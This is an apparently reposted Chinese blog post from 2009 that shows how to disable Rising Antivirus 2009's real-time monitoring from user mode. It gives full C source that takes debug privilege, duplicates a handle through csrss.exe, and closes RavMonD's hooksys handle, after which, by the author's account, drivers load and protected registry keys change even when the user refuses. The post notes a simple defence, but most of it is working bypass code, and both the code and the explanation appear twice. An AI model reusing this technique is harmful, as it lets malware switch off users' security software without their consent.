用户层关闭瑞星2009杀毒软件安全保护
2009-07-29 18:49
525 查看
我写这个纯粹是hacker精神,如果被滥用做病毒木马一类的邋遢东东,可跟偶没关系哦。
原理very简单,我发现瑞星监控主要在RavMonD进程中,如果打破其与内核的联系,则
瑞星监控功能就无法正常工作了,怎么打破联系呢?如果是进内核的话当然有很多的办法,
从而没有挑战性了,况且RavMonD会阻止用户进程去加载驱动或者动注册表的关键地方,
比如run子键。下面上测试代码:
int main(int argc,char *argv[])
{
if(argc != 4)
puts("usage ccon csrss.pid prmd.handle hooksys.handle");
else
{
int pid = atoi(argv[1]);
int hprmd = atoi(argv[2]);
int hobj = atoi(argv[3]);
if(!SetDebugPrivilege(true))
puts("SetDebugPrivilege Failed!");
HANDLE hcs = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
if(!hcs)
{
puts("Open Csrss.exe Failed");
PrintErr(GetLastError());
}
else //直接打开RavMonD进程会失败的,so采用迂回战术
{
HANDLE hprmd_loc;
if(!DuplicateHandle(hcs,(HANDLE)hprmd,GetCurrentProcess(),/
&hprmd_loc,PROCESS_ALL_ACCESS,false,0))
{
puts("Get hprmd_loc Failed!");
PrintErr(GetLastError());
}
else //关闭hooksys的句柄,打破其与内核的联系
{
HANDLE hobj_loc;
if(!DuplicateHandle(hprmd_loc,(HANDLE)hobj,/
GetCurrentProcess(),&hobj_loc,0,false,/
DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS))
{
puts("Get hobj_loc Failed!");
PrintErr(GetLastError());
}
else
{
if(!CloseHandle(hobj_loc))
{
puts("Close hobj_loc Failed");
}
else
puts("We Success Finally!!!");
}
}
}
}
return 0;
}
打破瑞星监控与内核的关联之后,用户进程可以任意加载驱动程序进内核或者篡改注册表
中的关键内容,我测试了一下,虽然第一次修改注册表中的监控内容时瑞星还是会提示用
户是否允许修改,但是这时即使选择否,同样可以修改成功,而且以后的修改瑞星不会再
提示了。
其实防守起来也很容易,瑞星只要不让我们在ring3下取到hooksys的句柄就行了,当然
仍然防不住内核中的攻击,进入ring0还是可以为所欲为。
我的测试环境 windows xp sp3 + 瑞星杀毒2009 21.49.14 测试成功
原理very简单,我发现瑞星监控主要在RavMonD进程中,如果打破其与内核的联系,则
瑞星监控功能就无法正常工作了,怎么打破联系呢?如果是进内核的话当然有很多的办法,
从而没有挑战性了,况且RavMonD会阻止用户进程去加载驱动或者动注册表的关键地方,
比如run子键。下面上测试代码:
int main(int argc,char *argv[])
{
if(argc != 4)
puts("usage ccon csrss.pid prmd.handle hooksys.handle");
else
{
int pid = atoi(argv[1]);
int hprmd = atoi(argv[2]);
int hobj = atoi(argv[3]);
if(!SetDebugPrivilege(true))
puts("SetDebugPrivilege Failed!");
HANDLE hcs = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
if(!hcs)
{
puts("Open Csrss.exe Failed");
PrintErr(GetLastError());
}
else //直接打开RavMonD进程会失败的,so采用迂回战术
{
HANDLE hprmd_loc;
if(!DuplicateHandle(hcs,(HANDLE)hprmd,GetCurrentProcess(),/
&hprmd_loc,PROCESS_ALL_ACCESS,false,0))
{
puts("Get hprmd_loc Failed!");
PrintErr(GetLastError());
}
else //关闭hooksys的句柄,打破其与内核的联系
{
HANDLE hobj_loc;
if(!DuplicateHandle(hprmd_loc,(HANDLE)hobj,/
GetCurrentProcess(),&hobj_loc,0,false,/
DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS))
{
puts("Get hobj_loc Failed!");
PrintErr(GetLastError());
}
else
{
if(!CloseHandle(hobj_loc))
{
puts("Close hobj_loc Failed");
}
else
puts("We Success Finally!!!");
}
}
}
}
return 0;
}
打破瑞星监控与内核的关联之后,用户进程可以任意加载驱动程序进内核或者篡改注册表
中的关键内容,我测试了一下,虽然第一次修改注册表中的监控内容时瑞星还是会提示用
户是否允许修改,但是这时即使选择否,同样可以修改成功,而且以后的修改瑞星不会再
提示了。
其实防守起来也很容易,瑞星只要不让我们在ring3下取到hooksys的句柄就行了,当然
仍然防不住内核中的攻击,进入ring0还是可以为所欲为。
我的测试环境 windows xp sp3 + 瑞星杀毒2009 21.49.14 测试成功
相关文章推荐
- 用户层关闭瑞星2009杀毒软件安全保护
- [原创]用户层关闭瑞星2009杀毒软件安全保护
- 用户层关闭瑞星2009杀毒软件安全保护
- 用户层关闭瑞星2009杀毒软件安全保护
- 用户层关闭杀毒软件安全保护
- 趋势科技批评独立杀毒软件 无法有效保护安全
- 怎样关闭域用户电脑中的趋势杀毒软件
- 瑞星推国内唯一Linux系统杀毒软件 国产操作系统还需国产安全软件保护
- 杀毒软件处理速度,决定用户安全利益因素
- bitdefender比特梵德全方位安全杀毒软件-----完整保护您的计算机
- 国家信息安全还需民族软件保护瑞星获市场青睐
- Linux用户管理安全宝典:密码防破解与帐号文件保护
- 测试杀毒软件是否有效的最简单和安全的方法
- 感觉最好的杀毒软件nod32 3.0Eset Smart Security 安全套装官方简体中文版
- 软件保护入口点安全及技术分析
- 强大安全工具 杀毒软件小红伞试用测评
- (病毒安全)任何杀毒软件都不能用了
- 安全的动力——杀毒软件引擎技术之窥探
- 实验:基本的系统安全控制 实验环境 某公司新增了一台企业级服务器,已安装运行RHEL 6操作系统,由系统运维部、软件开发部、技术服务部共同使用。由于用户数量众多,且使用时间不固定,要求针对账号和
- APP安全报告第八期:保护用户的隐私数据,网约车你做到了吗?